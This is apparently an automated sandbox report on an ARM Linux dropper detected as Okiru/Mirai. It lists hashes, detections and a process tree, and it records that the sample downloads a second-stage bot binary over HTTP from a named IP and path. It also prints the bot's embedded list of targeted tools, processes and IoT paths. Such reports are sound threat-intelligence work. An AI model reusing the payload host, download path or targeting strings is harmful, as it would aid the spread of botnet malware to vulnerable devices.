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Linux Analysis Report
dlr.arm6.elf

Overview

General Information

Sample name:	dlr.arm6.elf
Analysis ID:	1542861
MD5:	b0fb587ae4404c9fd86eda2985d1a15b
SHA1:	c32b89a1e2f4b741ba9c4cbd903faf5e2270a5f1
SHA256:	994c64af68157c42c80142c4f12381995986600031ddaa5f2b4a6858b9529171
Tags:	elfuser-abuse_ch
Infos:

Detection

Okiru

Score:	64
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected Okiru

Executes the "systemctl" command used for controlling the systemd system and service manager

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Reads system version information

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Writes ELF files to disk

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1542861
Start date and time:	2024-10-26 19:20:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	dlr.arm6.elf
Detection:	MAL
Classification:	mal64.troj.linELF@0/1@0/0

Warnings

Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: dlr.arm6.elf

Runtime Messages

Command:	/tmp/dlr.arm6.elf
PID:	5705
Exit Code:	5
Exit Code Info:
Killed:	False
Standard Output:	byte bro
Standard Error:

Process Tree

system is lnxubuntu20

dlr.arm6.elf (PID: 5705, Parent: 5511, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/dlr.arm6.elf

systemd New Fork (PID: 5744, Parent: 1)

snap-failure (PID: 5744, Parent: 1, MD5: 69136a7d575731ce62349f2e4d3e5c36) Arguments: /usr/lib/snapd/snap-failure snapd

snap-failure New Fork (PID: 5759, Parent: 5744)

systemctl (PID: 5759, Parent: 5744, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl stop snapd.socket

snap-failure New Fork (PID: 5760, Parent: 5744)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
/tmp/byte	JoeSecurity_Okiru	Yara detected Okiru	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: /tmp/byte

Avira: detection malicious, Label: EXP/ELF.Mirai.Bootnet.o

Multi AV Scanner detection for submitted file

Source: dlr.arm6.elf

ReversingLabs: Detection: 47%

Source: byte.12.dr

String: byte/proc/%d/net/tcp %*d: %*x:%x/proc//proc/%s/exe/proc/self/exe/proc/proc/%d/cmdlinenetstatwgettftpftpcurlbusybox/bin/busyboxvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys/bin/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetsshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearropbearencodersystem/root/dvr_gui//root/dvr_app//anko-app//opt/soraJoshohajime902i13BzSxLxBxeYHOHO-LUGO7HOHO-U79OLJuYfouyf87NiGGeR69xdSO190Ij1XLOLKIKEEEDDEekjheory98escansh4MDMAfdevalvexscanspcMELTEDNINJAREALZflexsonskidsscanx86MISAKI-U79OLfoAxi102kxeswodjwodjwojMmKiy7f87lfreecookiex86sysgpufrgegesysupdater0DnAzepdNiGGeRD0nks69frgreu0x766f6964NiGGeRd0nks1337gafturasgbsigboa120i3UI49OaF3geaevaiolmao123123aOfurain0n4H34DggTrexewwasads1293194hjXDOthLaLosnggtwget-log1337SoraLOADERSAIAKINAggtq1378bfp919GRB1Q2SAIAKUSOggtr14FaSEXSLAVE1337ggtt1902a3u912u3u4haetrghbr19ju3dSORAojkf120hehahejeje922U2JDJA901F91SlaVLav12helpmedaddthhhhh2wgg9qphbqSlav3Th3seD3viceshzSmYZjYMQ5GbfSoRAxD123LOLiaGv5aA3SoRAxD420LOLinsomni640277SoraBeReppin1337ipcamCache66tlGg9QjUYfouyf876ke3TOKYO3lyEeaXul2dULCVxh93OfjHZ2zTY2gD6MZvKc7KU6rmMkiy6f87lA023UU4U24UIUTheWeekndmioribitchesA5p9TheWeekndsmnblkjpoiAbAdTokyosnebAkiruU8inTznetstatsAlexW9RCAKM20TnewnetwordAyo215WordnloadsBAdAsVWordmanenotyakuzaaBelchWordnetsobpBigN0gg0r420X0102I34fofhasfhiafhoiX19I239124UIUoismXSHJEHHEIIHWOolsVNwo12DeportedDeportedXkTer0GbA1onry0v03FortniteDownLOLZY0urM0mGaypussyfartlmaojkGrAcEnIgGeRaNnYvdGkqndCOqGeoRBe6BEGuiltyCrownZEuS69s4beBsEQhdHOHO-KSNDOZEuz69sat1234aj93hJ23scanHAalie293z0k2LscanJoshoARMHellInSideayyyGangShitscanJoshoARM5HighFryb1glscanJoshoARM6IWhPyucDbJboatnetzscanJoshoARM7IuYgujeIqnbtbatrtahzexsexscanJoshoM68KJJDUHEWBBBIBscanJoshoMIPSJSDGIEVIVAVIGcKbVkzGOPascanJoshoMPSLccADscanJoshoPPCKAZEN-OIU97chickenxingsscanJoshoSH4yakuskzm8KAZEN-PO78HcleanerscanJoshoSPCKAZEN-U79OLdbeefscanJoshoX86yakuz4c24KETASHI32ddrwelperscanarm5zPnr6HpQj2Kaishi-Iz90Ydeexecscanarm6zdrtfxcgyKatrina32doCP3fVjscanarm7zxcfhuioKsif91je39scanm68kKuasadvrhelperl33t_feetl33tl33tfeetscanmipsKuasaBinsMateeQnOhRk85rscanmpslLOLHHHOHOHBUIeXK20CL12ZnyamezyQBotBladeSPOOKYhikariwasherep4029x91xx32uhj4gbejhwizardzhra.outboatnetdbgcondiheroshimaskid.dbglzrdPownedSecurity69.aresfxlyazsxhyUNSTABLEunstable_is_the_story_of_the_universemoobotjnsd9sdoilayourmomgaeissdfjiougsiojOasisSEGRJIJHFVNHSNHEIHFOSapep999KOWAI-BAdAsVKOWAI-SADjHKipU7Ylairdropmalwareyour_verry_fucking_gayBig-Bro-Brightsefaexecshirololieagle.For-Gai-Mezy0x6axNLcloqkisvspookymythSwergjmioGKILLEJW(IU(JIWERGFJGJWJRGHetrhwewrtheIuFdKssCxzjSDFJIjioOnrYoXd666ewrtkjokethajbdf89wu823AAaasrdgsWsGA4@F6FGhostWuzHere666BOGOMIPSbeastmodedvrHelperbestmodesfc6aJfIuYDemon.xeno-is-godICY-P-0ODIJgSHUIHIfhwrgLhu87VhvQPzlunadakuexecbinTacoBellGodYololigangExecutionorbitclientAmnesi

Source: global traffic

HTTP traffic detected: GET /bins/byte.arm6 HTTP/1.0Data Raw: 00 00 Data Ascii:

Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.20.69

Source: global traffic

HTTP traffic detected: GET /bins/byte.arm6 HTTP/1.0Data Raw: 00 00 Data Ascii:

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal64.troj.linELF@0/1@0/0

Source: /usr/lib/snapd/snap-failure (PID: 5759)

Systemctl executable: /usr/bin/systemctl -> systemctl stop snapd.socket

Jump to behavior

Source: /usr/lib/snapd/snap-failure (PID: 5744)

Reads version info: /proc/version

Jump to behavior

Source: /tmp/dlr.arm6.elf (PID: 5705)

File written: /tmp/byte

Jump to dropped file

Source: /tmp/dlr.arm6.elf (PID: 5705)

Queries kernel information via 'uname':

Jump to behavior

Source: dlr.arm6.elf, 5705.1.00007ffdf3dfc000.00007ffdf3e1d000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/dlr.arm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/dlr.arm6.elf
Source: dlr.arm6.elf, 5705.1.0000564dcd7df000.0000564dcd90d000.rw-.sdmp	Binary or memory string: MV!/etc/qemu-binfmt/arm
Source: dlr.arm6.elf, 5705.1.0000564dcd7df000.0000564dcd90d000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: dlr.arm6.elf, 5705.1.00007ffdf3dfc000.00007ffdf3e1d000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Stealing of Sensitive Information

Yara detected Okiru

Source: Yara match

File source: /tmp/byte, type: DROPPED

Remote Access Functionality

Yara detected Okiru

Source: Yara match

File source: /tmp/byte, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Systemd Service	1 Systemd Service	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	1 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
dlr.arm6.elf	47%	ReversingLabs	Linux.Backdoor.Mirai

Dropped Files

Source	Detection	Scanner	Label	Link
/tmp/byte	100%	Avira	EXP/ELF.Mirai.Bootnet.o
/tmp/byte	71%	ReversingLabs	Linux.Backdoor.Bushido

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
154.216.20.69	unknown	Seychelles		135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
154.216.20.69	dlr.x86.elf	Get hash	malicious	Okiru	Browse	/bins/byte.x86
	dlr.mpsl.elf	Get hash	malicious	Okiru	Browse	/bins/byte.mpsl
	dlr.mips.elf	Get hash	malicious	Okiru	Browse	/bins/byte.mips

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SKHT-ASShenzhenKatherineHengTechnologyInformationCo	A0Cr6LQ52c.elf	Get hash	malicious	Mirai	Browse	154.216.19.13
	Y48ThN7tMs.elf	Get hash	malicious	Mirai	Browse	154.216.19.13
	nsLuqUOchO.elf	Get hash	malicious	Mirai	Browse	154.216.19.13
	pkKNSB7f9E.elf	Get hash	malicious	Mirai	Browse	154.216.19.13
	5q9dF23ShO.elf	Get hash	malicious	Mirai	Browse	154.216.19.13
	dlr.x86.elf	Get hash	malicious	Okiru	Browse	154.216.20.69
	boatnet.mpsl.elf	Get hash	malicious	Mirai	Browse	154.216.19.13
	dlr.mpsl.elf	Get hash	malicious	Okiru	Browse	154.216.20.69
	dlr.mips.elf	Get hash	malicious	Okiru	Browse	154.216.20.69
	boatnet.mips.elf	Get hash	malicious	Mirai	Browse	154.216.19.13

Process:	/tmp/dlr.arm6.elf
File Type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Category:	dropped
Size (bytes):	88960
Entropy (8bit):	6.186570019866003
Encrypted:	false
SSDEEP:	1536:JznyZvn8aHS9qQmjEXlIFuOmE90avpLf3SMciGMyaW787RE5kYLl61d62:w/8cSqL6wqE90av0MyaW78FE2w4z
MD5:	A43E9FC94B44146457050C47E96A4818
SHA1:	DD40ABB18BDA7BA3BB222515AA06D7E29525548F
SHA-256:	DE137A2B6427DF64A6227B2E4AF5649E17F02AC4E5B873EEA574A6044AF8D18D
SHA-512:	C80BFA9D13E0EB3AE7A73890A474956CEC8F01DA5AF99095109BC2C5C6D1C99E8E89993151A6B71575EBBF28DE24FE3DA830B2055E7B972BC0DCB501EF584970
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Okiru, Description: Yara detected Okiru, Source: /tmp/byte, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Reputation:	low
Preview:	.ELF..............(.....T...4....Y......4. ...(......................M...M...............M...M...M......<...........Q.td..................................-...L.................@-.,@...0....S..... 0....S........../..0...0...@..../.,Y.......M....-.@0....S...M.8...8......../.0....0....S.....$0....S....../........../......M..0Y...M.................. ... -...-.......-......0..4.. 1..............P..@-..@.......0....S.................0....S...............P..............@..../..@.......G-......`...p...... ...u ....p..0...0....P..P...P....U......G..../.j ....p..@........P..........1..$ ...... ......1......1..l0........Q.....`0... .......0....S..................0....S...........P.........1........... ..$0.........../.....HY..LY...O-...Q...M..@...P..........O..../.........!<.. 4...,...4....T.......... ....T.. ............Y......1...p...0D...S....:.........`..3............pg..............0G.. P..`F...V..0...@... ......0................V.>....P....U...G..`..0.................X..`..

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	4.829300480136063
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	dlr.arm6.elf
File size:	1'456 bytes
MD5:	b0fb587ae4404c9fd86eda2985d1a15b
SHA1:	c32b89a1e2f4b741ba9c4cbd903faf5e2270a5f1
SHA256:	994c64af68157c42c80142c4f12381995986600031ddaa5f2b4a6858b9529171
SHA512:	047943c531fc122f7808bd196ba41ac4c61a9ed6bd2fa7f144db55b08012d35d3b03d88e1234fd5a409e70d5dc03203687dfe9422bb414137ccc1c5b810b9ca0
SSDEEP:	24:lpKGpa7Urz/jlfoZMAXK1hH9Vev3gRGaJ9iM3BBuDCWlxrR+zP6eF0:lpKGpa7UrLZo0I+JhBumWlxrsPLF
TLSH:	5E311191A3D05EBCCCE491BEEE5643507374AF44E0C772639608B768FE2AE7C9D26046
File Content Preview:	.ELF..............(.........4...........4. ...(.....................H...H...............H...H...H...................Q.td.........................................8...<...4...........(.."...#...../...-.......M.................../...-.......M................

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x838c
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	1176
Section Header Size:	40
Number of Section Headers:	7
Header String Table Index:	6

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.text	PROGBITS	0x80a0	0xa0	0x35c	0x0	0x6	AX	16
.rodata	PROGBITS	0x83fc	0x3fc	0x4c	0x1	0x32	AMS	4
.got	PROGBITS	0x10448	0x448	0xc	0x4	0x3	WA	4
.bss	NOBITS	0x10454	0x454	0x8	0x0	0x3	WA	4
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x454	0x10	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x464	0x33	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x448	0x448	5.2683	0x5	R E	0x8000	.text .rodata
LOAD	0x448	0x10448	0x10448	0xc	0x14	0.0000	0x6	RW	0x8000	.got .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 19:21:48.707607985 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:48.713068962 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:48.713125944 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:48.713943958 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:48.719321012 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.581918955 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.581934929 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.581954002 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.581965923 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.581979990 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.582057953 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.582057953 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.582057953 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.582098007 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.582098007 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.582128048 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.582142115 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.582154036 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.582165003 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.582175970 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.582175970 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.582216978 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.582228899 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.582250118 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.582251072 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.587624073 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.587642908 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.587665081 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.587665081 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.829565048 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.829585075 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.829596043 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.829607010 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.829632044 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.829632044 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.829632044 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.829632044 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.829653025 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.829663992 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.829675913 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.829679012 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.829687119 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.829689026 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.829700947 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.829708099 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.829765081 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.829777002 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.829787970 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.829797983 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.829804897 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.829804897 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.829804897 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.829812050 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.829818964 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.829833984 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.829916000 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.829926968 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.829937935 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.829948902 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.829950094 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.829950094 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.829960108 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.829972982 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.829976082 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.830060959 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.830071926 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.830090046 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.830100060 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.830312967 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.835305929 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.835351944 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.836308002 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.867969990 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.868056059 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.868067980 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.868078947 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.868091106 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.868426085 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.868438005 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.868448973 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.868498087 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.868514061 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.869342089 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.869440079 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.869456053 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.869462967 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.869468927 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.869599104 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.870260954 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.870282888 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.870296001 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.870466948 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.870480061 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.871200085 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.871211052 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.871222019 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.871324062 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.871335983 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.871809006 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.874999046 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.875010967 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.875022888 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.875032902 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.876147985 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:49.877289057 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.877434015 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:49.878828049 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:50.078144073 CEST	53682	80	192.168.2.13	154.216.20.69
Oct 26, 2024 19:21:50.083735943 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:50.083756924 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:50.083868980 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:50.083888054 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:50.083899975 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:50.083916903 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:50.083936930 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:50.084017038 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:50.084043026 CEST	80	53682	154.216.20.69	192.168.2.13
Oct 26, 2024 19:21:50.084064960 CEST	80	53682	154.216.20.69	192.168.2.13
